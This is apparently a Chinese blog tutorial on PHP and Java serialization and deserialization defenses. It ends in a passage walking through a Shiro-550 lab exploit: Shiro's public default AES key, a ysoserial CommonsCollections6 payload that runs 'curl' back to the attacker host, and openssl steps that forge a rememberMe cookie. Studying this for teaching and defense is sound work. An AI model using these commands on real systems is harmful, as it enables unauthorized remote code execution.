Administrator
发布于 2026-07-20 / 12 阅读
0
0

序列化与反序列化

一、序列化与反序列化的基本概念

序列化(Serialization):将内存中结构化的数据(对象、数组、字典等)转换成一种可存储、可传输的格式(字符串、字节流、二进制流等)的过程

可以通俗理解为 “打包”—— 把内存里零散的对象状态,封装成一个可以保存、发送的完整数据包。

反序列化(Deserialization):序列化的逆过程,把序列化后的数据,重新还原成内存中可直接读写的对象 / 数据结构,相当于 “拆包”,将数据包恢复为程序可直接操作的内存数据。

生活化类比:把拼装好的乐高模型拆成零件、按规则打包进快递盒是序列化;收件人按照说明书把零件重新拼成完整模型,就是反序列化。

二、序列化的核心目的

简单来说,序列化就是把内存中的对象,转换成一种可以存储或传输的格式,为什么要这么做呢?主要有三个关键场景:

  1. 持久化:想象一下,我们运行程序时创建了很多重要的对象和数据,如果程序关闭或者电脑断电,内存里的东西就全没了,但序列化可以把这些对象“冻结”起来,变成字节流或文件格式,稳稳地保存到磁盘上,这样下次启动程序,我们就能反序列化,把“冻结”的状态恢复回来,就像存档读档一样,保证了数据的持久性。

  2. 网络传输:在分布式系统里,不同服务、不同机器之间需要频繁地交换数据,对象在内存里是给特定语言和程序用的,不能直接通过网络“扔’给另一个程序,序列化就是解决这个问题的桥梁,它把对象转换成通用的、平台无关的格式(比如JSON, Protobuf,宝节流),通过网络(像 RPC调用、Socket 通信)高效地传输,接收方再用反序列化,把它还原成自己能理解的对象。

  3. 缓存:为了提高性能,我们经常使用像 Redis 这样的缓存系统,缓存需要快速存取数据,直接把复杂的对象放进缓存效率很低,序列化把对象压缩成紧凑的格式(通常是二进制或字符串),高效地存入缓存系统,当需要时,再从缓存取出反序列化,就能快速得到原始对象,大大减少了数据库访问,提升了响应速度。


三、PHP 序列化与反序列化

PHP 提供了原生的序列化机制,将 PHP 变量(数组、对象等)转换为PHP 专属格式的纯文本字符串,反序列化则将字符串还原为 PHP 变量。

1. 核心函数

a.序列化serialize(mixed $value): string,接收任意 PHP 变量,返回序列化后的字符串。

  • 作用:将除「资源类型(文件句柄、数据库连接等)」外的所有 PHP 变量,转换为 PHP 专属的结构化纯文本字符串。

  • 特性

    • 自动递归处理嵌套结构(多维数组、对象内嵌套对象);

    • 静态属性(static)属于类而非对象,不会被序列化

    • 资源类型序列化后会丢失,反序列化后为 null

b.反序列化unserialize(string $str): mixed,接收序列化字符串,返回还原后的 PHP 变量。这是最容易被忽略的细节:PHP 7.0 及以上版本,unserialize 支持第二个参数 $options,核心是 allowed_classes 白名单控制:

取值

效果

安全性

true(默认值)

允许反序列化所有类,无任何限制

最低,原生风险最大

false

完全禁止反序列化对象,仅还原标量、数组、null 等基础类型

最高,彻底杜绝对象反序列化风险

['类名1', '类名2']

仅白名单内的类可以被反序列化,其余类会被标记为不完整类,无法触发魔术方法

中等,业务常用方案

示例:

// 最高安全:只解析基础数据,完全禁止对象
$data = unserialize($input, ['allowed_classes' => false]);

// 业务白名单:仅允许 User、Order 两个业务类
$data = unserialize($input, ['allowed_classes' => ['User', 'Order']]);

注意:PHP 5.x 版本不支持第二个参数,无法通过原生函数做类白名单限制,风险更高。


2.序列化格式规则完整详解

a.全类型标记汇总

PHP 序列化字符串采用「类型标记:长度 / 值;」的统一格式,完整类型如下:

类型标记

对应数据类型

格式示例

说明

i

整数

i:100;

直接跟数值,无长度字段

d

浮点数

d:3.14;

支持科学计数法、INFNAN

s

字符串

s:5:"hello";

格式:s:字节长度:"内容";按字节数计算长度,不是字符数

b

布尔值

b:1; / b:0;

1 代表 true,0 代表 false

N

null

N;

单独一个标记,无附加内容

a

数组

a:2:{i:0;s:3:"PHP";i:1;s:4:"Java";}

格式:a:元素个数:{键1;值1;键2;值2;...}

O

普通对象

O:4:"User":2:{...}

格式:O:类名长度:"类名":属性数量:{属性列表}

C

自定义序列化对象

C:13:"Serializable":...

实现了 Serializable 接口的类,自定义序列化逻辑

R / r

引用

R:2;

指向前面第 N 个元素,用于复用同一个对象 / 变量

b.重点:对象属性的访问权限差异

这是构造反序列化 Payload 最容易踩坑的点:属性的访问修饰符(public/protected/private)不同,序列化后的属性名格式完全不同,且会影响字符串长度计算。

3. 代码实现示例

<?php
class User {
    public $name;
    public $age;
    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
}

// 1. 序列化对象
$user = new User("Alice", 20);
$serialized_str = serialize($user);
echo $serialized_str;
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:3:"age";i:20;}

// 2. 反序列化还原对象
$restored_user = unserialize($serialized_str);
echo $restored_user->name; // 输出 Alice
?>

这段代码是 PHP 原生序列化与反序列化的基础演示,完整展示了「内存对象 → 可传输 / 存储的字符串 → 还原内存对象」的全过程,下面逐部分拆解逻辑和底层细节。


a.User 类定义

class User {
    public $name;
    public $age;
    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
}

这是一个普通的 PHP 业务类:

  • 定义了两个公有成员属性 $name(字符串)和 $age(整数),用于存储对象状态;

  • __construct 是构造方法,在使用 new User() 创建对象时自动执行,负责给属性赋初始值。


B.序列化过程

// 1. 序列化对象
$user = new User("Alice", 20);
$serialized_str = serialize($user);
echo $serialized_str;
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:3:"age";i:20;}

执行逻辑

  1. 先实例化一个 User 对象,name 赋值为 Aliceage 赋值为 20

  2. 调用 PHP 内置函数 serialize(),将内存中的对象,按照 PHP 专属的序列化协议,转换成一段纯文本字符串;

  3. 最终输出的字符串,就是这个对象完整状态的「打包结果」,可以存入文件、数据库,或通过网络传输。

反序列化过程:字符串还原为对象

// 2. 反序列化还原对象
$restored_user = unserialize($serialized_str);
echo $restored_user->name; // 输出 Alice

执行逻辑

  1. 调用 PHP 内置函数 unserialize(),把序列化字符串作为输入,在内存中重新构建出一个 User 对象;

  2. 还原后的对象,所有非特殊标记的属性值,都会和序列化前完全一致;

  3. 访问 $restored_user->name 得到 Alice,验证了对象状态被完整恢复。

底层细节

  1. 反序列化不会执行构造方法 __construct

    PHP 反序列化是通过反射直接在内存中创建对象、填充属性,不会调用构造方法。你可以在构造方法中加入 echo "构造执行"; 测试,会发现只有 new User() 时会输出,unserialize() 时不会执行。

  2. 反序列化的前提是类已提前定义

    如果执行 unserialize() 时,当前代码还没定义 User 类,还原出的会是一个不完整的 __PHP_Incomplete_Class 对象,无法正常访问属性、调用方法。

  3. 不同权限的属性序列化格式不同

    示例中都是 public 公有属性,格式最简洁;如果是 protectedprivate 属性,序列化字符串中会加入不可见的空字符前缀:

    • protected 属性:属性名前加 \x00*\x00(空字符 + * + 空字符)

    • private 属性:属性名前加 \x00类名\x00(空字符 + 类名 + 空字符)

      这也是构造反序列化攻击 payload 时,需要精确匹配的细节。

安全提示

PHP 反序列化是高危 Web 漏洞类型:如果 unserialize() 的输入由用户可控,攻击者可以构造恶意序列化字符串,触发对象的魔术方法(如 __wakeup()__destruct()),进而实现任意代码执行、文件读写等攻击。


四、Java 序列化与反序列化

Java 原生序列化是将 Java 对象转换成二进制字节流,可写入文件、网络流中持久化或传输;反序列化则将字节流恢复为内存中的 Java 对象。

1. 核心机制

  • 可序列化的类必须实现 java.io.Serializable 接口:这是一个标记接口,它是Java内置在Java点IO的标记接口,它其实就是一个空接口,没有任何抽象方法,仅用于标识该类允许被序列化,唯一作用就是向JVM打招呼。

  • 核心操作类:

    • 序列化:ObjectOutputStream 类的 writeObject(Object obj) 方法

    • 反序列化:ObjectInputStream 类的 readObject() 方法

2. 关键特性

  • 为类添加serialVersionUID:序列化版本号,用于验证序列化和反序列化的类版本是否一致;版本不匹配会抛出 InvalidClassException

有人会疑惑会不会这样,如果多个对象serialVersionUID重复,比如都设置成同一个数值,会不会影响序列化和反序列化呢?

其实不会

这个serialVersionUID是针对每一个类单独起作用的,它并不是JVM全局范围内的唯一,而是类内唯一的标识,只要在同一个类里没有重复这种,那就没问题。

举个例子:com.example.Usercom.example.Order 两个类都手动设置 serialVersionUID = 1L,完全不会有任何问题 —— 反序列化时是先定位类,再校验该类自己的 UID,不同类之间的 UID 相互独立。

  1. 如果不手动声明 serialVersionUID,Java 编译器会根据类名、字段、方法、继承关系等结构信息,自动计算一个哈希值作为默认 UID,类结构只要有改动(比如新增一个字段、修改方法参数),默认 UID 就会变化,导致旧数据反序列化失败。

  2. 手动指定固定 UID 的核心意义是兼容版本迭代:比如给业务类新增一个非必填字段,只要 UID 不变,旧版本序列化的数据依然能被新版本反序列化(新增字段会被自动赋类型默认值)。

  3. 从反序列化安全角度补充:攻击者构造利用链 payload 时,不需要关心目标类的 UID 是否唯一,只要按照目标服务的类版本生成对应 UID 即可,UID 本身不会成为漏洞利用的阻碍。

  • transient基础特性

transient 修饰的成员变量,不参与 Java 原生序列化流程

a. 序列化时,字节流中不会保存该字段的数值;

b. 反序列化时,该字段会被直接赋值为对应数据类型的默认值(引用类型为 nullint0booleanfalse 等)。

容易忽略的细节

a. 仅对原生序列化生效transient 只作用于 ObjectOutputStream / ObjectInputStream 这套原生机制。Jackson、Fastjson、Protobuf 等第三方序列化框架不受 transient 控制,它们有独立的字段忽略注解(如 @JsonIgnore)。

b. 反序列化不执行构造方法:Java 反序列化默认通过反射直接恢复字段,不会调用类的构造方法。因此哪怕你在构造方法中给 transient 字段赋了初始值,反序列化后也不会生效,依然是默认值。

c. 可手动突破限制:通过重写类的 writeObject() / readObject() 自定义序列化逻辑,可以手动将 transient 字段写入 / 读出字节流。这既是业务兼容的手段,也是部分反序列化利用链的触发入口。

  • 静态变量(static 修饰)

基础特性

静态变量属于「类本身」,不属于某个对象实例;而序列化的本质是保存「对象的实例状态」,因此静态变量永远不会被写入序列化的字节流

最常见的认知坑

很多人在同一个 JVM 里做 “序列化 -> 反序列化” 测试时,会误以为静态变量被 “保存” 了 —— 这是一种错觉:

  • 本质是同一个 JVM 中类没有被卸载,静态变量一直存储在方法区中,数值本身就没变化;

  • 如果跨进程、跨机器反序列化,静态变量的值就是目标 JVM 中该类的当前值,和序列化时的数值完全无关。

  • 补充:transient 无法修饰静态变量,也没必要修饰 —— 静态变量本来就不参与序列化。

3. 代码实现示例

import java.io.*;

// 实现Serializable接口,标记该类可序列化
class User implements Serializable {
    // 手动指定序列化版本号
    private static final long serialVersionUID = 1L;
    
    public String name;
    public int age;
    // transient修饰,该属性不参与序列化
    transient public String password;

    public User(String name, int age, String password) {
        this.name = name;
        this.age = age;
        this.password = password;
    }
}

public class SerializeDemo {
    public static void main(String[] args) {
        // 序列化:将对象写入文件
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.dat"))) {
            User user = new User("Bob", 25, "123456");
            oos.writeObject(user);
            System.out.println("序列化完成");
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 反序列化:从文件还原对象
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.dat"))) {
            User restoredUser = (User) ois.readObject();
            System.out.println(restoredUser.name);     // 输出 Bob
            System.out.println(restoredUser.age);      // 输出 25
            System.out.println(restoredUser.password); // 输出 null(transient不序列化)
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

4.针对以上文本拆分讲解

这是一段Java 原生序列化与反序列化的最小演示代码

  1. 定义一个实现了 Serializable 接口的 User 类,标记该类对象可被序列化;

  2. 在主方法中,创建一个 User 对象,通过 ObjectOutputStream 将其序列化并写入本地文件 user.dat

  3. 再通过 ObjectInputStream 从文件中读取字节流,反序列化还原为 User 对象;

  4. 打印对象的三个属性,验证 transient 关键字的效果。

A、User 类:序列化核心配置解析

class User implements Serializable {
    private static final long serialVersionUID = 1L;
    
    public String name;
    public int age;
    transient public String password;

    public User(String name, int age, String password) {
        this.name = name;
        this.age = age;
        this.password = password;
    }
}
1. implements Serializable

Serializable 是 Java 中的标记接口,接口内部没有任何需要实现的抽象方法。

  • 作用:告诉 JVM,这个类的对象允许被序列化 / 反序列化;

  • 强制规则:如果一个类没有实现 Serializable,直接调用 writeObject() 序列化该类对象时,会直接抛出 java.io.NotSerializableException

  • 继承特性:如果父类实现了 Serializable,子类默认也具备序列化能力,无需重复实现。

2. private static final long serialVersionUID = 1L;

这是手动指定的序列化版本号,是 Java 序列化兼容控制的核心。

  • 本质:它是类的「元数据标识」,属于类级别常量,不会被序列化到字节流中(静态变量本身不参与序列化);

  • 校验逻辑:序列化时,字节流里会记录该类的全限定名 + 对应的 UID;反序列化时,JVM 会用本地类的 UID 和字节流里的 UID 做比对,不一致就抛出 InvalidClassException

  • 手动指定的意义:如果不写这行,编译器会根据类的字段、方法、继承关系自动计算一个 UID;后续只要类结构有改动(加字段、改方法),自动 UID 就会变化,导致旧的序列化数据全部无法反序列化。手动写死 1L 可以保证版本兼容。

  • 补充:不同类写相同的 serialVersionUID 完全不冲突,因为校验前会先通过「全限定类名」定位到具体的类。

3. 成员变量与 transient 关键字
  • name(String)、age(int):普通成员变量,默认参与序列化,对象的数值会被完整写入字节流,反序列化时可以完整还原。

  • transient public String password;

    • transient 关键字的作用:标记该字段不参与原生序列化流程

    • 效果:序列化时,字节流中不会保存 password 的值;反序列化时,该字段会被直接赋予对应数据类型的默认值 —— 引用类型 String 的默认值为 null,这也是代码最后打印 password 输出 null 的原因。

4. 构造方法
public User(String name, int age, String password) {
    this.name = name;
    this.age = age;
    this.password = password;
}

仅用于手动创建对象时初始化属性。这里有一个非常关键的底层细节:

Java 反序列化默认不会调用类的构造方法,而是通过反射直接在内存中构建对象、再填充字段值。

你可以在构造方法里加一句 System.out.println("构造方法执行了");,会发现序列化时构造方法执行 1 次,反序列化时不会执行。

B、序列化流程:对象 -> 文件

try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.dat"))) {
    User user = new User("Bob", 25, "123456");
    oos.writeObject(user);
    System.out.println("序列化完成");
} catch (IOException e) {
    e.printStackTrace();
}
逐行解释
  1. try-with-resources 语法

    括号里创建的流对象会在代码块执行结束后自动关闭(实现了 AutoCloseable 接口),替代了传统的 try-catch-finally 手动关流写法,避免资源泄漏。

  2. FileOutputStream("user.dat")

    文件字节输出流,作用是建立程序到本地文件 user.dat 的字节通道,最终把字节写入当前项目目录下的该文件。

  3. ObjectOutputStream

    对象输出流,属于「处理流」,用来包装底层的字节输出流,它提供了核心的序列化方法 writeObject()

    • 它会把内存中的 Java 对象,按照 Java 序列化协议转换成二进制字节流;

    • 生成的 user.dat 是二进制文件,文件开头固定为 Java 序列化魔数 AC ED 00 05,这也是识别 Java 序列化数据的标志。

  4. oos.writeObject(user)

    序列化的核心执行方法:

    • 递归遍历对象的所有非静态、非 transient 修饰的成员变量,依次写入字节流;

    • 如果成员变量是引用类型(比如另一个对象),会继续序列化该引用对象(该对象也必须实现 Serializable)。

  5. 异常捕获 IOException

    序列化过程中文件写入失败、对象不可序列化、IO 流异常等,都会抛出 IOException 及其子类异常。

C、反序列化流程:文件 -> 对象

try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.dat"))) {
    User restoredUser = (User) ois.readObject();
    System.out.println(restoredUser.name);     // 输出 Bob
    System.out.println(restoredUser.age);      // 输出 25
    System.out.println(restoredUser.password); // 输出 null
} catch (IOException | ClassNotFoundException e) {
    e.printStackTrace();
}
逐行解释
  1. FileInputStream("user.dat")

    文件字节输入流,从本地 user.dat 文件中读取二进制字节数据。

  2. ObjectInputStream

    对象输入流,包装字节输入流,提供核心的反序列化方法 readObject()

  3. User restoredUser = (User) ois.readObject();

    反序列化的核心执行方法:

    • 从字节流中读取类名、serialVersionUID、字段数据;

    • 先校验类是否存在、UID 是否匹配;校验通过后,通过反射在内存中创建对象,把字段值填充进去;

    • 返回值类型是 Object,因此需要强转为 User 类型。

  4. 打印结果验证

    • restoredUser.nameBob:普通字段完整还原;

    • restoredUser.age25:普通字段完整还原;

    • restoredUser.passwordnulltransient 字段未被序列化,反序列化后为类型默认值。

  5. 异常捕获

    • IOException:文件读取失败、字节流损坏、IO 异常;

    • ClassNotFoundException:当前 JVM 中找不到字节流对应的类(比如跨机器传输时,对方没有这个类)。

5.视频详解:视频来自B站博主

安全提示

Java 反序列化是经典的高危漏洞:当 readObject() 读取恶意构造的字节流时,会触发类的 readObject() 逻辑,结合 Commons-Collections、Jackson 等第三方库的利用链,可直接实现远程代码执行(RCE)。

五、序列化与反序列化的常见实现方案

除了编程语言自带的原生序列化,工业界还有大量通用序列化方案,按格式分为两类:

  1. 文本类

    • JSON:最通用的跨语言序列化格式,几乎所有语言都支持,是前后端交互的主流方案。

    • XML:传统结构化数据格式,可读性强但体积大,目前已逐步被 JSON 替代。

  2. 二进制类(高性能、体积小)

    • Protobuf:Google 推出的二进制序列化协议,体积小、解析速度快,多用于微服务 RPC 场景。

    • MessagePack:类 JSON 的二进制格式,比 JSON 体积更小、解析更快。

    • Kryo/Hessian:Java 生态常用的二进制序列化框架,性能远高于 Java 原生序列化。

反序列化漏洞基础防御方案

反序列化漏洞的根源是用户可控的输入进入了反序列化入口,并利用类的自动执行逻辑触发危险操作。防御遵循「从根源避免 → 代码层限制 → 架构层加固 → 运行时防护」的纵深防御原则,下面分通用原则、PHP 专属、Java 专属、工程化加固四个层面说明。


A、通用核心防御原则(所有语言通用)

  1. 杜绝用户可控输入直接进入反序列化入口

    这是最根本的防御手段。不要将用户提交的参数、Cookie、前端传值、网络数据包直接作为反序列化函数的输入。反序列化仅用于处理内部可信数据源(如本地配置、服务端内部缓存)。

  2. 优先选择无风险的通用序列化格式

    优先使用 JSON、Protobuf 等仅描述数据结构的序列化方案,替代语言原生的对象序列化机制。这类格式仅还原数据(数组、普通键值对),不会自动加载类、执行类方法,天然不存在原生反序列化利用链风险。

  3. 不在自动触发的方法中编写危险逻辑

    避免在反序列化会自动调用的方法(如 PHP 的 __destruct/__wakeup、Java 的 readObject)中编写文件读写、命令执行、数据库操作、网络请求等逻辑,从源头切断利用链的执行点。

  4. 遵循最小权限原则

    运行业务的进程(如 PHP-FPM、Java 服务)使用低权限账号启动,限制系统调用、文件读写范围,即使反序列化被攻破,也能限制攻击的影响范围,避免直接提权。


B、PHP 反序列化专属防御措施

强制使用白名单限制可反序列化的类

PHP 7.0 及以上版本中,unserialize() 支持第二个参数 allowed_classes,可以严格限制允许被还原的类:

  • 设置为 false:完全禁止反序列化对象,仅允许还原标量、数组,安全性最高。

  • 设置为类名数组:仅白名单内的类可以被反序列化,其他类会被标记为不完整类,无法触发魔术方法。

示例:

// 仅允许 User、Order 两个类被反序列化
$data = unserialize($input, ['allowed_classes' => ['User', 'Order']]);
// 完全禁止对象反序列化,只解析基础数据
$data = unserialize($input, ['allowed_classes' => false]);
  1. 替换原生序列化方案

    对外交互的场景全部改用 json_encode()/json_decode() 处理数据,避免使用 serialize/unserialize 处理外部输入。

  2. 对序列化数据加签名校验

    如果业务必须将序列化数据存储在前端 / Cookie 中,需要对序列化后的字符串进行 HMAC 签名校验,反序列化前先验证签名,确保数据未被用户篡改。

  3. 及时升级 PHP 版本

    新版本 PHP 会修复内置类的反序列化利用链,封堵原生的攻击向量。


C、Java 反序列化专属防御措施

  1. 避免使用 Java 原生序列化机制

    对外交互、跨服务调用优先使用 JSON、Protobuf 等序列化协议,禁止直接使用 ObjectInputStream 处理外部传入的字节流。

    注意:使用 JSON 框架时必须关闭自动类型推导(如 Jackson 的 enableDefaultTyping、Fastjson 的 AutoType),否则依然存在反序列化漏洞风险。

实现反序列化类白名单校验

自定义 ObjectInputStream 子类,重写 resolveClass() 方法,对反序列化的类名进行白名单校验,仅允许业务指定的类被加载,拦截未知的危险类。

简化示例:

public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = Set.of("com.example.User", "com.example.Order");

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("非法类,禁止反序列化: " + desc.getName());
        }
        return super.resolveClass(desc);
    }
}
  1. 清理并升级第三方依赖

    及时修复 Commons-Collections、Log4j、Fastjson、Jackson、Hessian 等常见反序列化漏洞重灾区的依赖版本,移除项目中未使用的第三方库,减少可被利用的攻击链。

  2. 校验数据完整性

    对需要反序列化的字节流添加签名(如 HMAC-SHA256),反序列化前先验证签名合法性,拒绝被篡改的数据源。

  3. 配置 JVM 安全限制

    通过 JVM 参数禁用危险类的序列化、限制反射权限,或使用 RASP 组件在运行时拦截危险的反序列化调用。


D、工程化纵深防御

  1. 流量层防护

    在 WAF/IDS 中添加反序列化攻击特征规则,拦截典型攻击 payload:

    • PHP:拦截包含 O:C: 等序列化对象标记的恶意参数

    • Java:拦截以魔数 AC ED 00 05 开头的恶意字节流请求

  2. 代码安全检测

    在 CI/CD 流程中集成静态代码扫描(SAST)工具,自动检测 unserializereadObject 等危险函数的调用,排查输入是否可控。

  3. 运行时防护

    部署 RASP(运行时应用自我保护)产品,在程序运行时实时拦截反序列化触发的危险操作(如命令执行、文件读写)。


Apache Shiro-550 反序列化

A、基础框架名词

1. Apache Shiro

定义:Java 生态主流安全框架,负责登录认证、权限控制、会话管理、记住我(RememberMe)。

角色:漏洞载体。

Shiro <1.2.5 版本存在设计缺陷,是本次 Shiro-550(CVE-2016-4437)漏洞的产生源头;它提供 RememberMe 功能,包含AES 加密 + 自动反序列化整条处理逻辑。

2. Spring Boot

定义:新一代 Java Web 快速开发框架,内置 Tomcat,打包为独立jar直接运行。

角色:靶机上层 Web 容器。

本次实验靶机就是 Spring Boot 项目,对外提供 Web 访问入口,接收我们携带恶意 Cookie 的 HTTP 请求;Spring Boot 本身和 Shiro 漏洞无直接关系,只是承载 Shiro 框架运行。

3. SSM(Spring + SpringMVC + MyBatis)

定义:Spring Boot 普及之前经典 Java Web 技术栈,一般外置 Tomcat,打包为 war 部署。

角色:同类竞品技术栈拓展知识。

和 Spring Boot 只是两种项目搭建方式,二者都可以集成 Apache Shiro;意味着新旧 Java 网站都有可能搭载 Shiro,都可能存在 Shiro-550 漏洞。

4. classpath(类路径)

定义:JVM 运行时搜索.class类文件、依赖 jar 包的路径列表。

角色:漏洞利用的前置硬性条件。

Java 执行反序列化readObject()重建对象时,必须在classpath中找到字节流记录的对应类。

关键结论:

就算存在反序列化入口,如果classpath不存在 CommonsCollections 相关类,Gadget 调用链缺失,漏洞无法实现 RCE。


B、核心机制名词

5. RememberMe(记住我)

定义:Shiro 提供的免登录功能。

正常流程:登录成功 → 用户身份对象序列化 → AES 加密 → 存入rememberMeCookie;下次访问携带 Cookie,服务器解密、反序列化恢复用户身份。

角色:漏洞触发入口。

Shiro 依靠 RememberMe Cookie 接收外部可控字节流,是攻击者输入恶意载荷的通道。

6. 序列化 / 反序列化

  • 序列化:内存 Java 对象 → 可传输 / 存储的二进制字节流 writeObject()

  • 反序列化:二进制字节流 → 重建 Java 对象 readObject()

    角色:漏洞核心机制。

    危险点:readObject()重建对象时会自动执行类内置方法;攻击者可控字节流,就能构造调用链,最终执行系统命令。

单纯有序列化不足以形成漏洞,需要同时满足:可控输入 + 无白名单反序列化 + classpath 存在可用 Gadget。

7. CommonsCollections Gadget(CC 利用链)

定义:存在于commons-collections依赖包中的一组 Java 类,类之间天然存在链式调用关系。

角色:漏洞执行命令的 “桥梁”。

反序列化重建对象时,程序自动沿着 Gadget 链条逐层调用方法,最终反射执行Runtime.exec()实现任意系统命令。

没有 CC Gadget,即便能控制反序列化数据,也无法抵达命令执行。

C、攻击工具:ysoserial

8.ysoserial 是什么?

ysoserial 是 Java 反序列化载荷生成工具。

核心职责:在攻击机内存中组装一串「恶意 Java 对象序列化二进制流」

  1. 根据你指定的利用链(如CommonsCollections6),按固定调用顺序拼接一系列 Java 类对象;

  2. 在对象链末端嵌入你想要执行的系统命令;

  3. 通过ObjectOutputStream.writeObject()输出二进制序列化数据(文件特征:开头 0xac 0xed 00 05)。

在 Shiro-550 整条攻击链路中的定位:

ysoserial = 原材料工厂

产出:原始恶意序列化二进制(.ser文件)

后续 AES 加密、拼接 IV、Base64 制作 Cookie,全部只是包装加工

如果没有 ysoserial 生成的二进制原始载荷,伪造的 rememberMe Cookie 永远无法触发命令执行。

链路位置:ysoserial 生成载荷 -> AES 加密 -> 构造 Cookie -> 发送至靶机 -> 靶机readObject()触发 Gadget 执行命令

重点:为什么推荐使用 JDK8 运行 ysoserial?

  1. 时间背景:CC Gadget、Shiro-550 漏洞诞生于 JDK8 主流时期,整条调用逻辑高度依赖 JDK8 内部类、反射机制、集合底层实现

  2. JDK8 特性:无 JPMS 模块化安全限制,允许代码自由反射访问 JDK 内部私有 API,可以稳定生成结构标准、靶机可正常触发的序列化载荷。

  3. JDK9 及以上高版本 Java 变化:

    • 新增模块化机制,默认拦截外部代码反射访问内部类;

    • 底层集合、反射相关源码重构。

      后果两种:

      ① ysoserial 直接运行报错,载荷生成失败;

      ② 勉强生成二进制,但对象结构不兼容,部署到靶机后 Gadget 链条断裂,命令无法执行。

重要区分(极易混淆)

限制约束对象:运行 ysoserial 的攻击机,不是靶机!

D、完整串联:Shiro-550 整条链路所有组件协作流程

  1. 靶机:Spring Boot 项目集成 Apache Shiro <1.2.5,classpath 携带commons-collections依赖(具备 CC Gadget);

  2. 攻击端:使用JDK8 + ysoserial,选择 CC6 Gadget,生成携带系统命令的恶意序列化二进制;

  3. 攻击者利用 Shiro 源码内置公开默认 AES 密钥,遵循 Shiro 格式:随机 IV + AES 加密恶意二进制,组装成合法rememberMe Cookie;

  4. HTTP 请求携带 Cookie 访问靶机 Web 服务(Spring Boot 接收请求,转交 Shiro 处理);

  5. Shiro 逻辑:Cookie Base64 解码 → AES 解密 → 直接调用readObject()无限制反序列化;

  6. JVM 尝试重建恶意对象,在 classpath 找到 CC 相关类,自动走完 Gadget 调用链;

  7. 链条终点触发Runtime.exec(),在靶机执行我们预先写入载荷中的系统命令,实现 RCE。

总的来说Shiro-550 的根因(两个致命设计叠加):

  1. Shiro < 1.2.5 的 rememberMe 加密使用一个写死在源码里的默认 AES 密钥 kPH+bIxk5D2deZiIxcaaaA==(Base64)。密钥公开 = 加密形同虚设,任何人都能伪造合法的 rememberMe

  2. 服务器解密后直接 readObject() 反序列化,且没有任何类白名单。

于是攻击者:用公开密钥加密一段恶意序列化数据 -> 服务器解密还原 -> 触发命令执行。整个过程无需登录,任意请求携带该 Cookie 即被处理。

E、实验步骤-衔接以上内容

阶段一:Shiro指纹探测

1. 操作目的

精准判断靶机是否为Shiro框架、是否开启RememberMe功能。无该特征,后续所有攻击全部无效

2. 完整执行命令

export TARGET=http://172.16.11.xxx

curl -s -I $TARGET -H "Cookie: rememberMe=1" | grep -i "rememberMe=deleteMe"

概念对应

  1. Cookie: rememberMe=1:模拟 RememberMe 通道,发送一段非法数据给 Shiro

  2. 返回rememberMe=deleteMe确认靶机启用 Shiro RememberMe 功能

这一步作用验证【漏洞入口是否存在】, 对应理论:确认恶意数据可以通过 RememberMe 通道送入 Shiro。

3. 每一个参数精细化解释

  • export TARGET=xxx:定义全局变量,把靶机地址存起来,后续所有命令不用重复输入IP,简化操作

  • curl:Linux网络请求工具,用于访问靶机服务

  • -I:只请求HTTP响应头,不加载网页正文,完美规避靶机「网页解析失败」的问题,速度更快

  • -s:静默模式,隐藏curl的连接日志、错误日志,只保留我们需要的核心结果

  • -H "Cookie: rememberMe=1":手动伪造一个非法的RememberMe Cookie,试探Shiro服务特征

  • grep -i:忽略大小写,筛选Shiro专属的响应特征字段

4. 核心判定原理

Shiro框架专属机制:收到无法解密、非法的rememberMe Cookie时,会强制返回响应头:rememberMe=deleteMe,通知浏览器删除无效Cookie。

5. 结果判定标准

  • 终端输出 rememberMe=deleteMe:存在Shiro框架,进入下一阶段

  • 终端无任何输出:无Shiro漏洞,直接终止实验

阶段二:外联探测载荷生成

1. 操作目的

生成无害探测Payload,100%验证两大核心条件:

i. Shiro默认密钥有效

iii. 靶机CC6反序列化链可正常执行命令,确认漏洞链路通畅。

2. 完整分步命令

# 1.定义攻击机、靶机变量
KALI=172.16.11.xx
TARGET=http://172.16.11.xxx

# 2.高版本JDK解锁 + 生成CC6探测序列化载荷
java \
  --add-opens=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED \
  --add-opens=java.rmi/java.rmi.server=ALL-UNNAMED \
  --add-opens=java.rmi/sun.rmi.server=ALL-UNNAMED \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens=java.base/java.net=ALL-UNNAMED \
  --add-opens=java.base/java.util=ALL-UNNAMED \
  --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \
  -jar ~/ysoserial-all.jar CommonsCollections6 "curl $KALI:9999" > /tmp/curl.ser

# 3.Shiro默认密钥:Base64转十六进制(openssl专用格式)
KEY=$(echo -n "kPH+bIxk5D2deZiIxcaaaA==" | base64 -d | xxd -p | tr -d '\n')

# 4.生成AES加密必备16字节随机IV
head -c 16 /dev/urandom > /tmp/iv.bin
IV=$(xxd -p /tmp/iv.bin | tr -d '\n')

# 5.AES-128-CBC加密序列化载荷
openssl enc -aes-128-cbc -K $KEY -iv $IV -in /tmp/curl.ser -out /tmp/enc.bin

# 6.拼接IV+密文,Base64编码生成合法攻击Cookie
TEST_COOKIE=$(cat /tmp/iv.bin /tmp/enc.bin | base64 -w0)
echo "rememberMe=$TEST_COOKIE"

1和2 重点关联【JDK8 知识点】

理想情况:用独立攻击机 172.16.11.xxx(JDK8)运行这一行,不需要 --add-opens

我们的现状:Kali 是高版本 JDK,Java 加了安全围墙,必须加上一长串--add-opens临时拆墙,否则 ysoserial 打印失败。

划重点:

